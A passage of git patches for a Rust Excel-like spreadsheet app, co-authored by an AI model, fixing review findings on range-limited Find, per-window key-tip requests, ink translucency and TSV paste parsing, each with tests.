+34,27 @@ fn typing_right_after_ctrl_f_fills_find_what() { fn typing_right_after_ctrl_h_fills_find_what() { assert_eq!(type_after_shortcut(Key::H), Some(json!("abc"))); } + +/// With a range selected, Find All in the dialog lists only the matches inside it, as in Excel +/// (#3224); with one cell selected it searches the whole sheet. +#[test] +fn find_all_with_a_range_selected_searches_only_the_range() { + use egui_kittest::kittest::Queryable; + for (range, expected) in [("B1:B3", 2), ("C5", 4)] { + let mut h = harness(); + let app = h.state_mut(); + app.session.execute("range.setValues", json!({"range": "A1:B3", "values": [["pear", "pear"], ["fig", "fig"], ["pear", "pear"]]})).unwrap(); + app.session.execute("selection.set", json!({"range": range})).unwrap(); + h.run_steps(2); + h.input_mut().events.push(Event::Key { key: Key::F, physical_key: Some(Key::F), pressed: true, repeat: false, modifiers: CTRL }); + h.input_mut().events.push(Event::Key { key: Key::F, physical_key: Some(Key::F), pressed: false, repeat: false, modifiers: CTRL }); + h.run_steps(6); + h.input_mut().events.push(Event::Text("pear".into())); + h.run_steps(4); + h.get_by_label("Find All").click(); + h.run_steps(4); + let d = h.state().dialog.as_ref().expect("find dialog is open"); + let count = d.result.as_ref().map(|r| r["count"].clone()); + assert_eq!(count, Some(json!(expected)), "{range} selected"); + } +} diff --git a/docs/ui-parity.md b/docs/ui-parity.md index 125182d27..95da1794c 100644 --- a/docs/ui-parity.md +++ b/docs/ui-parity.md @@ -237,6 +237,7 @@ scrollbar bugs 2–4 · pixel/feel pass against observed Excel 7–12. | Date | Change | Summary | |---|---|---| +| 2026-11-03 | minor | Find and Replace with a range selected searches only that range, as in Excel: Find Next moves the active cell through it and keeps it selected, Find All lists its matches, Replace and Replace All change only them; one selected cell still searches the sheet. `edit.find` / `edit.replace` take `within: selection` (#3224) | | 2026-11-02 | minor | RefEdit reference boxes in dialogs: pick a range on the grid, collapse the dialog while selecting; Goal Seek, Solver (with the Model Range of Load/Save) and Data Analysis use them; while collapsed the arrow keys move the selection and Shift+arrow extends it, F4 cycles a reference's anchors, a click elsewhere keeps the box picking, a dialog opened over a picking one puts the selection back, OK stays on the sheet its command showed, and scripted cancel and confirm end a pick like the buttons; the dialog's sheet is followed through the recorded undo steps, so a sheet deleted and recreated under its name is not taken for it and an undo of the deletion brings it back; a box the dialog stops showing is no longer picked into | | 2026-11-02 | minor | Python mode edits a cell's code in the formula bar's code editor (Ctrl+Alt+Shift+P, `=PY` then Tab, editing a Python cell), with the PY badge beside fx; its keys apply in input order, also several in one frame, and Ctrl+Enter commits through `python.set` (empty code clears the cell), keeping the code and showing the command's message when the code is refused | | 2026-11-02 | minor | Insert › Symbols: Equation split button (access keys N E), a gallery of examples, and an equation editor with quick-insert buttons, the error underlined at its position and a live preview; double-clicking an equation edits it | From 9ce599d978d8bebc2361e9ca59d89704ec326d39 Mon Sep 17 00:00:00 2001 From: Hector Villarreal Date: Tue, 3 Nov 2026 03:25:52 -0600 Subject: [PATCH 109/167] #941: a control key tip expands a collapsed ribbon before it opens the control Addresses CodeRabbit review on #3250, "Expand the ribbon for a same-tab control request": with the Insert tab chosen but the ribbon collapsed, Alt+I, S went to the same-tab branch and the Symbol gallery was never drawn. A collapsed ribbon is now expanded like a tab switch, and the request waits for the frame that draws the control. Test: legacy_keytips::alt_i_s_expands_a_collapsed_ribbon_on_the_insert_tab. Co-Authored-By: Claude Opus 5.5 --- crates/ui-egui/src/app/keys.rs | 8 ++++++-- crates/ui-egui/tests/it/legacy_keytips.rs | 19 +++++++++++++++++++ 2 files changed, 25 insertions(+), 2 deletions(-) diff --git a/crates/ui-egui/src/app/keys.rs b/crates/ui-egui/src/app/keys.rs index b490d8557..1facc5a4f 100644 --- a/crates/ui-egui/src/app/keys.rs +++ b/crates/ui-egui/src/app/keys.rs @@ -63,8 +63,12 @@ impl SheetApp { // A control on another tab (a legacy menu key such as Alt+I, S for the Symbol // gallery) shows its tab first, so the control is drawn and takes the request. keytips::Action::Control(id) => { - if let Some(tab) = gridcraft_engine::find_command(id).and_then(|c| c.menu.first()).filter(|t| **t != self.ui.ribbon_tab) { - self.run_or_alert("ui.ribbonTab", json!({"tab": tab})); + // A collapsed ribbon draws no controls either: it is expanded the same way. + let other_tab = gridcraft_engine::find_command(id).and_then(|c| c.menu.first()).filter(|t| **t != self.ui.ribbon_tab); + if other_tab.is_some() || self.ui.ribbon_collapsed { + if let Some(tab) = other_tab { + self.run_or_alert("ui.ribbonTab", json!({"tab": tab})); + } self.ui.ribbon_collapsed = false; self.ui.keytip_invoke_next = Some(id); } else { diff --git a/crates/ui-egui/tests/it/legacy_keytips.rs b/crates/ui-egui/tests/it/legacy_keytips.rs index fa6ca37ed..c2490f2bf 100644 --- a/crates/ui-egui/tests/it/legacy_keytips.rs +++ b/crates/ui-egui/tests/it/legacy_keytips.rs @@ -31,3 +31,22 @@ fn alt_i_s_opens_the_symbol_gallery_and_leaves_the_cell_alone() { assert_eq!(h.state().ui.ribbon_tab, "Insert"); assert!(h.query_by_label("€").is_some(), "the Symbol gallery is open"); } + +#[test] +fn alt_i_s_expands_a_collapsed_ribbon_on_the_insert_tab() { + // With the Insert tab already chosen but the ribbon collapsed, the gallery's control isn't + // drawn: the keys expand the ribbon first. + let mut s = Session::new(); + s.new_workbook(); + let mut h = crate::common::os_harness(s, OperatingSystem::Nix); + h.state_mut().run("ui.ribbonTab", json!({"tab": "Insert"})).unwrap(); + h.state_mut().ui.ribbon_collapsed = true; + h.run_steps(4); + for key in [Key::F10, Key::I, Key::S] { + press(&mut h, key); + } + h.run_steps(4); + assert!(!h.state().ui.ribbon_collapsed); + assert!(h.query_by_label("€").is_some(), "the Symbol gallery is open"); + assert!(!h.state().session.journal.iter().any(|(id, _)| id == "insert.symbol")); +} From d964c1cb661fb2a2ca38672d13d2259825c47cfa Mon Sep 17 00:00:00 2001 From: Hector Villarreal Date: Tue, 3 Nov 2026 03:39:43 -0600 Subject: [PATCH 110/167] #941: a waiting key tip request stays with the window that made it Addresses CodeRabbit review on #3250, "Keep deferred requests with their window": the request waiting for the next frame was shared across windows, so the root window, drawn first, could take a second window's Alt+I, S. It is now parked with each window's interface state and moved into the one-frame request when that window's ui begins. Test: legacy_keytips::a_waiting_key_tip_request_stays_with_its_window. Co-Authored-By: Claude Opus 5.5 --- crates/ui-egui/src/app.rs | 8 ++++++-- crates/ui-egui/src/window_ui.rs | 4 ++++ crates/ui-egui/tests/it/legacy_keytips.rs | 19 +++++++++++++++++++ 3 files changed, 29 insertions(+), 2 deletions(-) diff --git a/crates/ui-egui/src/app.rs b/crates/ui-egui/src/app.rs index 762a8c704..94b6b01e7 100644 --- a/crates/ui-egui/src/app.rs +++ b/crates/ui-egui/src/app.rs @@ -108,8 +108,9 @@ impl SheetApp { self.ensure_text_width(ctx); // A keytip control request lives one frame: the ribbon consumes it during `ui`, and // anything that never reached a control (collapsed ribbon, tab switch) is dropped. One - // made with a switch to the control's tab waits for the frame that draws that tab. - self.ui.keytip_invoke = self.ui.keytip_invoke_next.take(); + // made with a switch to the control's tab waits, with its window, for the next `ui` of + // that window. + self.ui.keytip_invoke = None; // Floating pictures' textures go with their workbook, even when no sheet is painted. let open: Vec = self.session.documents().iter().map(|d| d.uid).collect(); floating_pictures::forget_closed(ctx, &open); @@ -195,6 +196,9 @@ impl SheetApp { let t0 = now_ms(); // A script may have switched windows since the last frame. self.follow_active_window(); + // This window's key tip request that waited for this frame (its tab or ribbon was just + // shown); any other window's request was dropped before it. + self.ui.keytip_invoke = self.ui.keytip_invoke_next.take(); text_box::before_ui(self, &ctx); // Another window came forward without going through a command (which settles drafts // first): the draft goes into its own window instead of floating over this one. If its diff --git a/crates/ui-egui/src/window_ui.rs b/crates/ui-egui/src/window_ui.rs index cef736ecc..93f2c699a 100644 --- a/crates/ui-egui/src/window_ui.rs +++ b/crates/ui-egui/src/window_ui.rs @@ -31,6 +31,8 @@ pub struct WindowUi { ribbon_tab: String, /// The status bar's Ready/Enter/Edit, which follows the window's cell draft. mode: gridcraft_engine::Mode, + /// A key tip's control request waiting for the frame that draws this window's ribbon. + keytip_invoke_next: Option<&'static str>, } impl WindowUi { @@ -70,6 +72,7 @@ impl SheetApp { open_switch_windows, ribbon_tab, mode, + keytip_invoke_next, } = w; std::mem::swap(&mut self.editor, editor); std::mem::swap(&mut self.text_box_editor, text_box_editor); @@ -86,6 +89,7 @@ impl SheetApp { std::mem::swap(&mut self.open_switch_windows, open_switch_windows); std::mem::swap(&mut self.ui.ribbon_tab, ribbon_tab); std::mem::swap(&mut self.session.mode, mode); + std::mem::swap(&mut self.ui.keytip_invoke_next, keytip_invoke_next); } /// The window whose interface state is in the per-window fields. diff --git a/crates/ui-egui/tests/it/legacy_keytips.rs b/crates/ui-egui/tests/it/legacy_keytips.rs index c2490f2bf..57deea0aa 100644 --- a/crates/ui-egui/tests/it/legacy_keytips.rs +++ b/crates/ui-egui/tests/it/legacy_keytips.rs @@ -50,3 +50,22 @@ fn alt_i_s_expands_a_collapsed_ribbon_on_the_insert_tab() { assert!(h.query_by_label("€").is_some(), "the Symbol gallery is open"); assert!(!h.state().session.journal.iter().any(|(id, _)| id == "insert.symbol")); } + +#[test] +fn a_waiting_key_tip_request_stays_with_its_window() { + // A request waiting for the frame that draws its control belongs to the window whose keys + // made it: another window drawn first must not take it. + let mut s = Session::new(); + s.new_workbook(); + let mut h = crate::common::os_harness(s, OperatingSystem::Nix); + h.run_steps(2); + let first = h.state().session.active_window().unwrap(); + h.state_mut().run("view.newWindow", json!({})).unwrap(); + let second = h.state().session.active_window().unwrap(); + h.state_mut().show_window(second); + h.state_mut().ui.keytip_invoke_next = Some("insert.symbol"); + h.state_mut().show_window(first); + assert_eq!(h.state().ui.keytip_invoke_next, None, "the first window doesn't see the second window's request"); + h.state_mut().show_window(second); + assert_eq!(h.state().ui.keytip_invoke_next, Some("insert.symbol")); +} From 2adfd5571fd5d4999f1a68080dd70ae3dc34cd14 Mon Sep 17 00:00:00 2001 From: Hector Villarreal Date: Tue, 3 Nov 2026 03:58:23 -0600 Subject: [PATCH 111/167] #1786: ink is translucent by its width in points, while drawn and once committed Addresses CodeRabbit review on #3229, "Use the same translucency threshold as committed ink": the preview judged the pen by its width in points, the committed stroke by its width on screen, so at 50% a 12 pt highlighter turned opaque once committed and at 200% a 6 pt pen turned translucent. Both now use chartview::ink_color, which goes by the stroke's width in points, so the two agree and neither changes with the zoom. Test: ink_render::ink_translucency_follows_the_pen_not_the_zoom. Co-Authored-By: Claude Opus 5.5 --- crates/ui-egui/src/chartview.rs | 11 +++++-- crates/ui-egui/src/grid/interact.rs | 2 +- crates/ui-egui/tests/it/ink_render.rs | 45 +++++++++++++++++++++++++++ crates/ui-egui/tests/it/main.rs | 1 + 4 files changed, 56 insertions(+), 3 deletions(-) create mode 100644 crates/ui-egui/tests/it/ink_render.rs diff --git a/crates/ui-egui/src/chartview.rs b/crates/ui-egui/src/chartview.rs index 5c51d087b..40e3f0aa4 100644 --- a/crates/ui-egui/src/chartview.rs +++ b/crates/ui-egui/src/chartview.rs @@ -316,11 +316,12 @@ pub(crate) fn paint_objects(app: &SheetApp, p: &Painter, geo: &Geo, wb: &Workboo p.add(PathShape::convex_polygon(vec![pos2(r.center().x, r.top()), r.right_bottom(), r.left_bottom()], fill, Stroke::new(1.0, line))); } ShapeKind::Ink => { - let w = gridcraft_engine::cmd::draw::ink_width(sp) * geo.z; + let pt = gridcraft_engine::cmd::draw::ink_width(sp); + let w = pt * geo.z; let pts: Vec = gridcraft_engine::cmd::draw::ink_points(sp).iter().map(|q| pos2(r.left() + q[0] * geo.z, r.top() + q[1] * geo.z)).collect(); if pts.len() >= 2 { - let col = if w > 8.0 { line.gamma_multiply(0.45) } else { line }; + let col = ink_color(line, pt); p.add(PathShape::line(pts, PathStroke::new(w, col))); } label = false; @@ -556,3 +557,9 @@ pub fn hit(app: &SheetApp, geo: &Geo, sh: &Sheet, p: Pos2) -> Option<(ObjRef, Re } None } + +/// The colour ink is painted in: a highlighter (a stroke over 8 pt wide) is translucent, by its +/// width in points, so the live pen stroke and the committed ink agree at every zoom. +pub(crate) fn ink_color(line: Color32, width_pt: f32) -> Color32 { + if width_pt > 8.0 { line.gamma_multiply(0.45) } else { line } +} diff --git a/crates/ui-egui/src/grid/interact.rs b/crates/ui-egui/src/grid/interact.rs index a94f08e6d..f7442fca4 100644 --- a/crates/ui-egui/src/grid/interact.rs +++ b/crates/ui-egui/src/grid/interact.rs @@ -257,7 +257,7 @@ pub(crate) fn pen_ink(color: &str, width: f32, theme: &gridcraft_engine::model:: let line = gridcraft_engine::model::Color::from_hex(color).unwrap_or(pen_blue); let width = if width <= 0.0 { 2.0 } else { width }.clamp(0.5, 40.0).round().max(1.0); let color = line.resolve(theme).map(crate::theme::color32).unwrap_or(Color32::from_rgb(0x1F, 0x5F, 0xC9)); - (if width > 8.0 { color.gamma_multiply(0.45) } else { color }, width) + (crate::chartview::ink_color(color, width), width) } fn handle_header_autofit(app: &mut SheetApp, input: &InteractionInput<'_>) -> bool { diff --git a/crates/ui-egui/tests/it/ink_render.rs b/crates/ui-egui/tests/it/ink_render.rs new file mode 100644 index 000000000..60ff42a4e --- /dev/null +++ b/crates/ui-egui/tests/it/ink_render.rs @@ -0,0 +1,45 @@ +//! Committed ink is painted as the pen previews it, at any zoom. + +use egui::Shape; +use egui::epaint::ColorMode; +use gridcraft_engine::Session; +use gridcraft_ui_egui::SheetApp; +use serde_json::json; + +/// The colour of the ink stroke drawn from (40, 40) to (200, 40) sheet points, `width` points +/// wide: the two-point horizontal path whose width is `width` at its own scale (160 pt long). +fn painted_ink(h: &egui_kittest::Harness<'static, SheetApp>, width: f32) -> Option { + h.output().shapes.iter().find_map(|s| match &s.shape { + Shape::Path(p) if p.points.len() == 2 && (p.points[0].y - p.points[1].y).abs() < 0.01 => { + let z = (p.points[1].x - p.points[0].x).abs() / 160.0; + match p.stroke.color { + ColorMode::Solid(c) if z > 0.0 && (p.stroke.width - width * z).abs() < 0.01 => Some(c), + _ => None, + } + } + _ => None, + }) +} + +#[test] +fn ink_translucency_follows_the_pen_not_the_zoom() { + // A highlighter (over 8 pt) is translucent and a pen isn't, whatever the zoom: the committed + // stroke used its width on screen, so at 50% a 12 pt highlighter turned opaque and at 200% a + // 6 pt pen turned translucent, unlike the pen's preview. + for (width, zoom, translucent) in [(12.0_f32, 50, true), (6.0, 200, false), (12.0, 100, true), (6.0, 100, false)] { + let mut s = Session::new(); + s.new_workbook(); + s.execute("view.zoom", json!({"percent": zoom})).unwrap(); + s.execute("draw.stroke", json!({"points": [[40, 40], [200, 40]], "color": "#FFFF00", "width": width})).unwrap(); + let mut h = crate::common::builder().with_size(egui::vec2(1200.0, 800.0)).build_ui_state( + |ui, app: &mut SheetApp| { + app.logic(&ui.ctx().clone()); + app.ui(ui); + }, + crate::common::app(s), + ); + h.run_steps(4); + let c = painted_ink(&h, width).unwrap_or_else(|| panic!("the {width} pt stroke is painted at {zoom}%")); + assert_eq!(c.a() < 255, translucent, "{width} pt at {zoom}%: {c:?}"); + } +} diff --git a/crates/ui-egui/tests/it/main.rs b/crates/ui-egui/tests/it/main.rs index f1240dcd6..4608f843c 100644 --- a/crates/ui-egui/tests/it/main.rs +++ b/crates/ui-egui/tests/it/main.rs @@ -58,6 +58,7 @@ mod hyperlink_ctrl_click; mod hyperlink_dialog; mod in_cell_editor_size; mod in_cell_editor_wrap; +mod ink_render; mod insert_copied_cells; mod interaction; mod interface_scale; From 68e87f0a6863c21c4669cc2bf3143def1150459a Mon Sep 17 00:00:00 2001 From: Hector Villarreal Date: Tue, 3 Nov 2026 04:01:25 -0600 Subject: [PATCH 112/167] #941: a hidden window drops its waiting key tip request Addresses CodeRabbit review on #3250, "Clear deferred key-tip requests when parking a hidden window": a hidden window isn't drawn, so a request it parked would fire whenever it was shown again (the Symbol gallery opening long after the keys). Parking a hidden window now drops it; the rest of its interface state is kept. Test: legacy_keytips::a_hidden_window_drops_its_waiting_key_tip_request. Co-Authored-By: Claude Opus 5.5 --- crates/ui-egui/src/window_ui.rs | 7 ++++++- crates/ui-egui/tests/it/legacy_keytips.rs | 20 ++++++++++++++++++++ 2 files changed, 26 insertions(+), 1 deletion(-) diff --git a/crates/ui-egui/src/window_ui.rs b/crates/ui-egui/src/window_ui.rs index 93f2c699a..e3f07715b 100644 --- a/crates/ui-egui/src/window_ui.rs +++ b/crates/ui-egui/src/window_ui.rs @@ -112,7 +112,12 @@ impl SheetApp { }; let mut outgoing = WindowUi::fresh(&self.grid, &self.ui.ribbon_tab); self.swap_window_ui(&mut outgoing); - if self.session.window(previous).is_some() { + if let Some(window) = self.session.window(previous) { + // A hidden window isn't drawn: a key tip request waiting for its next frame would + // fire whenever it is shown again, so it goes. + if window.hidden { + outgoing.keytip_invoke_next = None; + } self.parked.insert(previous, outgoing); } if let Some(mut incoming) = active.and_then(|w| self.parked.remove(&w)) { diff --git a/crates/ui-egui/tests/it/legacy_keytips.rs b/crates/ui-egui/tests/it/legacy_keytips.rs index 57deea0aa..c75a6a087 100644 --- a/crates/ui-egui/tests/it/legacy_keytips.rs +++ b/crates/ui-egui/tests/it/legacy_keytips.rs @@ -69,3 +69,23 @@ fn a_waiting_key_tip_request_stays_with_its_window() { h.state_mut().show_window(second); assert_eq!(h.state().ui.keytip_invoke_next, Some("insert.symbol")); } + +#[test] +fn a_hidden_window_drops_its_waiting_key_tip_request() { + // A hidden window isn't drawn, so its waiting request would fire when it was shown again, + // long after the keys: hiding the window drops it. + let mut s = Session::new(); + s.new_workbook(); + let mut h = crate::common::os_harness(s, OperatingSystem::Nix); + h.run_steps(2); + let first = h.state().session.active_window().unwrap(); + h.state_mut().run("view.newWindow", json!({})).unwrap(); + let second = h.state().session.active_window().unwrap(); + h.state_mut().show_window(second); + h.state_mut().ui.keytip_invoke_next = Some("insert.symbol"); + h.state_mut().run("view.hideWindow", json!({"window": second})).unwrap(); + h.state_mut().show_window(first); + h.state_mut().run("view.unhideWindow", json!({"window": second})).unwrap(); + h.state_mut().show_window(second); + assert_eq!(h.state().ui.keytip_invoke_next, None); +} From 533c0dadafe4eefe246d0a3e0355bbd688698b39 Mon Sep 17 00:00:00 2001 From: Hector Villarreal Date: Tue, 3 Nov 2026 04:19:49 -0600 Subject: [PATCH 113/167] #2225: a field that only looks quoted keeps the tabs and line breaks in it Addresses CodeRabbit review on #3231, "Reparse consumed separators when a field is not quoted": parse_tsv read "ab"x as one quoted field, then fell back to its raw text without the separator it had consumed, so the cells "a, b"x and c pasted back as two. The new copy (which no longer quotes a cell holding only a quote) makes that text. A field whose closing quote doesn't end it, or that never closes, is now read again as unquoted text, so its tabs and line breaks separate cells. The text read again is bounded by the input's length, so hostile input stays linear. Test: a_field_that_is_not_really_quoted_keeps_its_separators. Co-Authored-By: Claude Opus 5.5 --- crates/engine/src/cmd/edit/clipboard.rs | 44 +++++++++++++++++++++---- crates/engine/src/cmd/edit/tests.rs | 22 +++++++++++++ 2 files changed, 59 insertions(+), 7 deletions(-) diff --git a/crates/engine/src/cmd/edit/clipboard.rs b/crates/engine/src/cmd/edit/clipboard.rs index 1490b082c..0cd814ba0 100644 --- a/crates/engine/src/cmd/edit/clipboard.rs +++ b/crates/engine/src/cmd/edit/clipboard.rs @@ -226,24 +226,54 @@ pub(crate) fn parse_tsv(text: &str) -> Vec> { let mut row = Vec::new(); let mut field = String::new(); let mut chars = text.chars().peekable(); + // Text read again as unquoted, ahead of the rest of the input: a field that opened with a + // quote but turned out not to be quoted. + let mut replay: std::collections::VecDeque = std::collections::VecDeque::new(); + // Text is replayed at most as much as the input is long; past that, quotes are text, so + // hostile input full of fields that only look quoted reads in linear time. + let mut replay_budget = text.len(); let mut quoted = false; let mut at_start = true; // A quoted field's text as it stands in the input, for a field that turns out not to be one. let mut raw = String::new(); - while let Some(c) = chars.next() { + loop { + let c = match replay.pop_front().or_else(|| chars.next()) { + Some(c) => c, + // A quote that never closes: the field is its text as written. + None if quoted => { + quoted = false; + field.clear(); + field.push('"'); + replay_budget = replay_budget.saturating_sub(raw.len()); + replay.extend(raw.chars().skip(1)); + raw.clear(); + continue; + } + None => break, + }; if quoted { raw.push(c); if c == '"' { - if chars.peek() == Some(&'"') { + let next = replay.front().copied().or_else(|| chars.peek().copied()); + if next == Some('"') { field.push('"'); raw.push('"'); - chars.next(); + if replay.pop_front().is_none() { + chars.next(); + } } else { quoted = false; // A field is quoted only when its closing quote ends it, as Excel reads it: - // `"hi" there` is that text, quotes included. - if !matches!(chars.peek(), None | Some('\t' | '\n' | '\r')) { - field = std::mem::take(&mut raw); + // `"hi" there` is that text, quotes included, and a tab or line break inside + // it still ends the cell, as if the leading quote weren't there. + if !matches!(next, None | Some('\t' | '\n' | '\r')) { + field.clear(); + field.push('"'); + replay_budget = replay_budget.saturating_sub(raw.len()); + let rest: Vec = std::mem::take(&mut raw).chars().skip(1).collect(); + for ch in rest.into_iter().rev() { + replay.push_front(ch); + } } } } else { @@ -252,7 +282,7 @@ pub(crate) fn parse_tsv(text: &str) -> Vec> { continue; } match c { - '"' if at_start => { + '"' if at_start && replay_budget > 0 => { quoted = true; at_start = false; raw = String::from('"'); diff --git a/crates/engine/src/cmd/edit/tests.rs b/crates/engine/src/cmd/edit/tests.rs index 5034646cd..020592c56 100644 --- a/crates/engine/src/cmd/edit/tests.rs +++ b/crates/engine/src/cmd/edit/tests.rs @@ -390,3 +390,25 @@ fn copy_quotes_only_cells_with_tabs_or_line_breaks() { let cells: Vec<&str> = rows.iter().map(|r| r[0].as_str()).collect(); assert_eq!(cells, ["say \"hi\"", "plain", "\"hi\" there", "x \"q\"\ny", "tab\tinside"]); } + +#[test] +fn a_field_that_is_not_really_quoted_keeps_its_separators() { + // A field opening with a quote is quoted only if a closing quote ends it; when it doesn't (or + // never closes), the text is read as written, and the tabs and line breaks inside it still + // separate cells, as they would have without the leading quote. + assert_eq!(parse_tsv("\"a\tb\"x\tc"), vec![vec!["\"a", "b\"x", "c"]]); + assert_eq!(parse_tsv("\"a\tb\nc"), vec![vec!["\"a", "b"], vec!["c"]]); + assert_eq!(parse_tsv("\"a\tb\tc\n"), vec![vec!["\"a", "b", "c"]]); + // Cells copied without quotes (they hold no tab or line break) read back as the same cells. + let mut s = Session::new(); + s.new_workbook(); + for (cell, input) in [("A1", "'\"a"), ("B1", "b\"x"), ("C1", "c")] { + s.execute("cell.set", json!({"cell": cell, "input": input})).unwrap(); + } + let text = s.execute("edit.copy", json!({"range": "A1:C1"})).unwrap()["text"].as_str().unwrap().to_string(); + assert_eq!(parse_tsv(&text), vec![vec!["\"a", "b\"x", "c"]], "{text:?}"); + // Many fields that only look quoted: each is replayed at most once (the replay budget is the + // input's length), and every one is still its own cell. + let hostile = "\"x\t".repeat(50_000); + assert_eq!(parse_tsv(&hostile).first().map(Vec::len), Some(50_001)); +} From 2bdec6c0a11e9d9ef8cfe91ed6618aafc2be9486 Mon Sep 17 00:00:00 2001 From: Hector Villarreal Date: Tue, 3 Nov 2026 04:44:40 -0600 Subject: [PATCH 114/167] #941: a window hidden while parked drops its key tip request; parity row names the badge-less keys MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Addresses CodeRabbit review on #3250: - "Clear parked keytip requests when their window becomes hidden": a window hidden from another window (View › Hide while it isn't in front) kept the request it had parked, and showing it again opened the control. follow_active_window now drops the waiting request of every parked window that is hidden. - "Correct the no-badge description in the parity table": only Alt+I, D, V and T (no ribbon tab) paint no badges. Test: legacy_keytips::a_window_hidden_from_another_window_drops_its_parked_request. Co-Authored-By: Claude Opus 5.5 --- crates/ui-egui/src/window_ui.rs | 8 ++++++++ crates/ui-egui/tests/it/legacy_keytips.rs | 21 +++++++++++++++++++++ docs/ui-parity.md | 2 +- 3 files changed, 30 insertions(+), 1 deletion(-) diff --git a/crates/ui-egui/src/window_ui.rs b/crates/ui-egui/src/window_ui.rs index e3f07715b..d68b7e3d8 100644 --- a/crates/ui-egui/src/window_ui.rs +++ b/crates/ui-egui/src/window_ui.rs @@ -102,6 +102,14 @@ impl SheetApp { /// in (a window never seen before starts fresh). A closed window's state is dropped. pub fn follow_active_window(&mut self) { let active = self.session.active_window(); + // A window hidden while parked (from another window's View › Hide) isn't drawn either: + // its waiting key tip request goes, as it does for a window hidden as it is left. + let session = &self.session; + for (id, parked) in &mut self.parked { + if session.window(*id).is_some_and(|w| w.hidden) { + parked.keytip_invoke_next = None; + } + } if active == self.ui_window { return; } diff --git a/crates/ui-egui/tests/it/legacy_keytips.rs b/crates/ui-egui/tests/it/legacy_keytips.rs index c75a6a087..885c70f8f 100644 --- a/crates/ui-egui/tests/it/legacy_keytips.rs +++ b/crates/ui-egui/tests/it/legacy_keytips.rs @@ -89,3 +89,24 @@ fn a_hidden_window_drops_its_waiting_key_tip_request() { h.state_mut().show_window(second); assert_eq!(h.state().ui.keytip_invoke_next, None); } + +#[test] +fn a_window_hidden_from_another_window_drops_its_parked_request() { + // Hidden while another window is in front (its request already parked), the window still + // loses the request, so showing it again doesn't open the control. + let mut s = Session::new(); + s.new_workbook(); + let mut h = crate::common::os_harness(s, OperatingSystem::Nix); + h.run_steps(2); + let first = h.state().session.active_window().unwrap(); + h.state_mut().run("view.newWindow", json!({})).unwrap(); + let second = h.state().session.active_window().unwrap(); + h.state_mut().show_window(second); + h.state_mut().ui.keytip_invoke_next = Some("insert.symbol"); + h.state_mut().enter_window(first); + h.state_mut().run("view.hideWindow", json!({"window": second})).unwrap(); + h.state_mut().show_window(first); + h.state_mut().run("view.unhideWindow", json!({"window": second})).unwrap(); + h.state_mut().show_window(second); + assert_eq!(h.state().ui.keytip_invoke_next, None); +} diff --git a/docs/ui-parity.md b/docs/ui-parity.md index 3d51e0e65..e9d98725c 100644 --- a/docs/ui-parity.md +++ b/docs/ui-parity.md @@ -21,7 +21,7 @@ Sources: `crates/ui-egui/src` (ribbon, grid, editor, formula bar, dialogs, panes | Formulas › Function Library | Insert Function, AutoSum, Recently Used and a menu per function category | yes (10-24): a big Insert Function button and three columns of labelled small buttons, the layout Excel uses when the window is not wide enough for a big button per category; each category's book icon has its own colour; a category menu shows each function's description on hover and ends with Insert Function…, which opens the dialog on that category; More Functions cascades into Statistical, Engineering, Cube, Information, Compatibility and Web; AutoSum is a split button whose menu (Sum, Average, Count Numbers, Max, Min, More Functions…) Home › Editing shares; Recently Used has the MR key tip | the wide layout with a big button per category is not offered; a function counts as recently used once its formula is entered, not when Insert Function's OK is pressed | | Ribbon: tabs, groups, split buttons, galleries, contextual tabs | yes | yes (Table Design, Chart Design, Format, PivotTable tabs) | done; missing contextual tabs for pictures, shapes, sparklines, header/footer, slicers | | Ribbon collapse, simplified ribbon, customize ribbon/QAT | yes | partial | customization missing | -| Key tips (Alt / F10 then letters) | yes, every ribbon control | **initial** (#43, 10-10): Alt or F10 shows key tips on Home for alignment, Paste Special and AutoFit plus the Excel 2003 menu keys (Alt+I, E, O, D, V, T and Alt+F, U, such as Alt+I, R or Alt+D, S), which paint no badges, as in Excel (#941); other tabs and controls not yet (#33, #49) | 3–5 h | +| Key tips (Alt / F10 then letters) | yes, every ribbon control | **initial** (#43, 10-10): Alt or F10 shows key tips on Home for alignment, Paste Special and AutoFit plus the Excel 2003 menu keys (Alt+I, E, O, D, V, T and Alt+F, U, such as Alt+I, R or Alt+D, S); Alt+I, D, V and T, which have no ribbon tab, paint no badges, as in Excel (#941); other tabs and controls not yet (#33, #49) | 3–5 h | | Formula bar with Name Box, expand, function hints | yes | yes; grows with its content from one to five lines (Alt+Enter, wrapped text, or viewing a multi-line cell), then scrolls with the caret in view, the Name Box and buttons staying on the first line; the chevron pins it at five; the in-cell editor shows every line | done; no drag-to-resize handle | | Sheet tabs: rename, reorder, colour, hide, scroll | yes | yes | Ctrl-drag (Cmd or Option on macOS) drops a copy (#971); active tab revealed on navigation and resize (#681); manual wheel/trackpad browsing preserved; rename focus bug on macOS (#145) | | Formula bar with Name Box, expand, function hints | yes | yes | done; dynamic-array spill children show the source formula muted and read-only, using current spill ownership | From fe6ab7c5c06d5d552faf93b38c4518b4b6d15756 Mon Sep 17 00:00:00 2001 From: Hector Viov Date: Tue, 3 Nov 2026 05:02:44 -0600 Subject: [PATCH 115/167] #3101: clear the tab bar's cached rectangles when a control is hidden Addresses review comment 4453674677: after a frame drew both controls, turning off the horizontal scroll bar or the sheet tabs left app.grid.hscroll / app.grid.tab_split holding the old rectangles. sheet_tabs now clears both before any visibility return. Test: tab_split::hiding_the_controls_clears_their_cached_rectangles toggles both options on one live harness. Co-Authored-By: Claude Opus 5.5 --- crates/ui-egui/src/tabs.rs | 3 +++ crates/ui-egui/tests/it/tab_split.rs | 21 +++++++++++++++++++++ 2 files changed, 24 insertions(+) diff --git a/crates/ui-egui/src/tabs.rs b/crates/ui-egui/src/tabs.rs index 6147b2e14..ea11615d0 100644 --- a/crates/ui-egui/src/tabs.rs +++ b/crates/ui-egui/src/tabs.rs @@ -100,6 +100,9 @@ fn tab_split_handle(app: &mut SheetApp, ui: &mut Ui, split: Rect, bar: (f32, f32 /// Draws the worksheet tab strip: navigation, scroll/reveal, rename/drag/move with optional copy, context menu, new-sheet button, split handle and grid scrollbar. pub fn sheet_tabs(app: &mut SheetApp, ui: &mut Ui) { let t = Tokens::get(ui.ctx()); + // Only the controls drawn this frame have a rectangle: a hidden one keeps no stale geometry. + app.grid.hscroll = None; + app.grid.tab_split = None; // File › Options › Advanced › Display options for this workbook (#3101): with neither the // sheet tabs nor the horizontal scroll bar, the bar isn't there at all. let view = app.session.active().map(|d| d.wb.view).unwrap_or_default(); diff --git a/crates/ui-egui/tests/it/tab_split.rs b/crates/ui-egui/tests/it/tab_split.rs 